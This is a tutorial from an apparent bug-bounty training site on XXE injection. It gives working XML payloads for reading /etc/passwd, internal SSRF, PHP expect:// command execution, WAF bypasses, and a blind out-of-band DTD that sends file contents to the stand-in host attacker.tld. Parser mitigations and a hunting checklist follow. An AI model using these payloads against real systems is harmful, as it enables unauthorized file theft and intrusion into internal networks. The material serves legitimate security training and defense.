Intermediate levelFree

XXE — XML External Entity injection and OOB exfiltration

How to abuse misconfigured XML parsers: read server files, internal SSRF, blind XXE via external DTD. Typical endpoints: SAML, SOAP, configuration parser.

Gorka El BochiMay 9, 202611 min

Quick answer

XXE (XML External Entity) happens when an XML parser processes external entities declared by the attacker. It allows reading arbitrary files from the server, SSRF to the internal network, and sometimes RCE (PHP expect://). Typical endpoints: SOAP APIs, SAML callbacks, configuration importers (XML/Office docs), converters. Although XML is in decline, it's still present in legacy systems and in SAML.


How it works

XML supports declaring external entities that the parser resolves by loading resources. If the parser is misconfigured:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

The parser resolves &xxe; by loading the content of /etc/passwd and returns it in the response — if the response reflects the <data> field, you read the file.


Variants

1. Classic XXE with file read

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>

Works if the response returns the value of the field where the entity is injected.

2. Blind XXE via external DTD (OOB)

When the response doesn't reflect the content but the parser can make requests:

xml
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
  %ext;
]>
<root></root>

evil.dtd on the attacker's server:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;

The parser:

  1. Loads the external DTD.
  2. Reads /etc/passwd into %file.
  3. Defines %exfil with a GET to attacker.tld with the content as a query param.
  4. Resolves %exfil → an HTTP request arrives at the attacker with the content.

Burp Collaborator is perfect for hosting malicious DTDs and seeing the hits.

3. SSRF via XXE

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>

The parser makes an HTTP request to the internal endpoint from the server. The response (or part of it) may end up reflected.

4. RCE in PHP (legacy)

PHP with the expect wrapper enabled:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>

Executes id in the shell. Requires the expect extension loaded (rare, but it exists in legacy setups).


Endpoints to look at

SAML

SAML is XML by design. Any /saml/login, /saml/callback, /auth/sso endpoint that processes XML assertions sent by the client is a candidate. The SAML response is sent by the browser after the IdP — if the SP processes it with an insecure parser, XXE.

SOAP APIs

SOAP webservices process XML. Endpoints *.asmx, *.svc, *.wsdl, paths with /soap, /services, /api/v1/soap.

Configuration importers

  • Import .docx, .xlsx, .pptx (all contain XML internally).
  • Import SVG (XML-based).
  • Import OPML, RSS, GPX.
  • Import configurations (.config, .xml).

Office documents (DOCX/XLSX/PPTX)

These formats are ZIPs of XMLs. Uploading a docx with a [Content_Types].xml modified to include an external DTD can trigger XXE in the backend converter.

arduino
docx_zip/
├── [Content_Types].xml   ← modificar aquí
├── word/
│   └── document.xml
└── _rels/

SVG uploads

xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

If the app converts SVG → PNG with ImageMagick or another parser that respects external entities, it reads the file.


WAF bypasses

Alternative encoding

xml
<?xml version="1.0" encoding="UTF-16"?>

If the WAF only scans UTF-8, UTF-16 (with BOM) can bypass it.

Parameter entities

xml
<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;

Build the entity dynamically to evade string detection.

CDATA + entity

xml
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>

Sometimes parsed by the engine but filtered by the WAF.


Quick detection

Minimal test: send XML with a DTD pointing to Collaborator:

xml
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>

If a hit arrives at Collaborator → the parser resolves external entities → possible exploitable XXE.


Correct mitigation

  1. Disable external entity resolution in every parser:
    • Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).
    • Python lxml: parser = etree.XMLParser(resolve_entities=False).
    • PHP: libxml_disable_entity_loader(true) (deprecated in PHP 8 — already the default).
    • .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
  2. Whitelist of accepted types (don't accept XML if you don't need it).
  3. WAF as a second line, never the first.

Hunting checklist

  • Does the endpoint accept Content-Type: application/xml or text/xml?
  • Are there imports of docx/xlsx/pptx/svg/opml/gpx?
  • Are there /saml/, /soap/, SOAP-style endpoints?
  • Try Collaborator-based detection with an external DTD?
  • Are there verbose XML errors if I send a malformed one?
  • Is <!DOCTYPE> allowed in the body?
  • Are Office docs processed server-side (preview, conversion, OCR)?

Practice classic XXE, blind via external DTD and internal SSRF through XML: XXE labs.

Practice this in a lab

Xxe

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy